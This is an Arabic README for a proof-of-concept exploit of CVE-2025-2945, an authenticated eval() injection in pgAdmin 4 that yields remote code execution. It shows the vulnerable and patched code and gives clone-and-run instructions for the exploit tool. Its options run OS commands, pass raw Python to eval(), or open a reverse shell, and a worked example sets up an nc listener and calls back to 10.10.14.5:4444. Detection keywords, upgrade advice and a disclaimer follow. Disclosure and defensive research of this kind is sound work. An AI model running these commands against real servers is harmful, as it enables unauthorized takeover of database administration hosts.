
# إثبات المفهوم لـ CVE-2025-2945 — حقن eval() المُصادق عليه في pgAdmin 4 لتنفيذ التعليمات البرمجية عن بُعد، درجة الخطورة CVSS 9.9
CVSS 3.1: 9.9 (حرج) · يتأثر: pgAdmin 4 8.10 – 9.1 · تم الإصلاح في: 9.2 (4 أبريل 2025) CWE-95 (تحييد غير صحيح للتوجيهات في التعليمات البرمجية المُقيَّمة ديناميكيًا / حقن Eval)
إثبات مفهوم لاستغلال CVE-2025-2945، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد
مُصادق عليها في أداة الاستعلام في pgAdmin 4. يتم تمرير علامة حالة المعاملة
المنطقية (query_commited) مباشرة إلى دالة eval() في بايثون بدلاً من
تحليلها كقيمة منطقية، مما يسمح لمستخدم مُصادق بتنفيذ تعليمات بايثون
برمجية عشوائية — وبالتالي أوامر نظام التشغيل العشوائية — بصلاحيات
عملية خدمة pgAdmin. النمط المعاكس نفسه موجود مرة ثانية في
وحدة النشر السحابي لموفر Google (high_availability).
تتوفر مقالة تقنية كاملة تغطي السبب الجذري ومنطق الاستغلال وإرشادات الاكتشاف والمعالجة هنا: khashayarnazarkardeh.com — ملاحظات ميدانية
الكود القابل للاستغلال (web/pgadmin/tools/sqleditor/__init__.py):
if key == 'query_commited':
query_commited = (
eval(value) if isinstance(value, str) else value
)
الكود المُصلَح (pgAdmin 9.2+):
query_commited = (
value.lower() in ('true', '1') if isinstance(value, str) else value
)
تتطلب الثغرة جلسة pgAdmin مُصادق عليها ومعاملة أداة استعلام مرتبطة بخادم قاعدة بيانات مسجل بالفعل في الحساب المستهدف. كلاهما شروط مسبقة شائعة في عمليات النشر الفعلية، حيث يتم عادةً تكوين pgAdmin مسبقًا باتصال خادم واحد أو أكثر محفوظ.
--username / --password)--db-user / --db-password / --db-name)git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
python3 CVE-2025-2945.py \
--host <target> --port 80 \
--username <pgadmin-email> --password <pgadmin-password> \
--db-user <db-user> --db-password <db-password> --db-name <db-name> \
--cmd id
| العلم | الوصف |
|---|---|
--cmd COMMAND | ينفذ أمر نظام تشغيل واحد عبر os.system() |
--reverse-shell HOST:PORT | يفتح قشرة عكسية عبر أنبوب مسمى إلى مستمع تتحكم فيه |
--raw-payload EXPR | يمرر تعبير بايثون خام مباشرة إلى نقطة eval() القابلة للاستغلال |
# على جهاز الهجوم الخاص بك، في طرفية منفصلة:
nc -lvnp 4444
# تشغيل الاستغلال:
python3 CVE-2025-2945.py \
--host pgadmin.internal.example.com --port 80 \
--username [email protected] --password 'correct-horse-battery-staple' \
--db-user postgres --db-password postgres --db-name postgres \
--reverse-shell 10.10.14.5:4444
python3 CVE-2025-2945.py --help
يجب على المدافعين مراقبة:
/sqleditor/query_tool/download/<trans_id> أو
/cloud/deploy حيث تكون query_commited / high_availability أي شيء
آخر غير "true" أو "false" أو "1" أو "0" حرفيًا.__import__, os.system, subprocess,
eval, exec, open() تظهر في أي من المعلمتين.قم بالترقية إلى pgAdmin 4 9.2 أو أحدث. التصحيح هو إصلاح بسيط منخفض المخاطر لتحويل القيم المنطقية. حيثما لا يكون التصحيح الفوري ممكنًا، قم بتقييد الوصول إلى الشبكة لـ pgAdmin على شبكات موثوقة ومُصادق عليها، وعطّل وحدة النشر السحابي للحسابات التي لا تتطلبها.
Khashayar Nazarkardeh — قائد الأمن السيبراني وأمن الذكاء الاصطناعي khashayarnazarkardeh.com · @Khashayarnzk
تم توفير هذه الأداة لأغراض الاختبار الأمني المصرح به والبحث والتعليم فقط. تشغيل هذه الأداة ضد أي نظام دون إذن صريح وموثق من مالك النظام غير قانوني في معظم الولايات القضائية. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج. باستخدامك لهذا السكربت فإنك توافق على أنك المسؤول الوحيد عن ضمان حصولك على إذن لاختبار الهدف.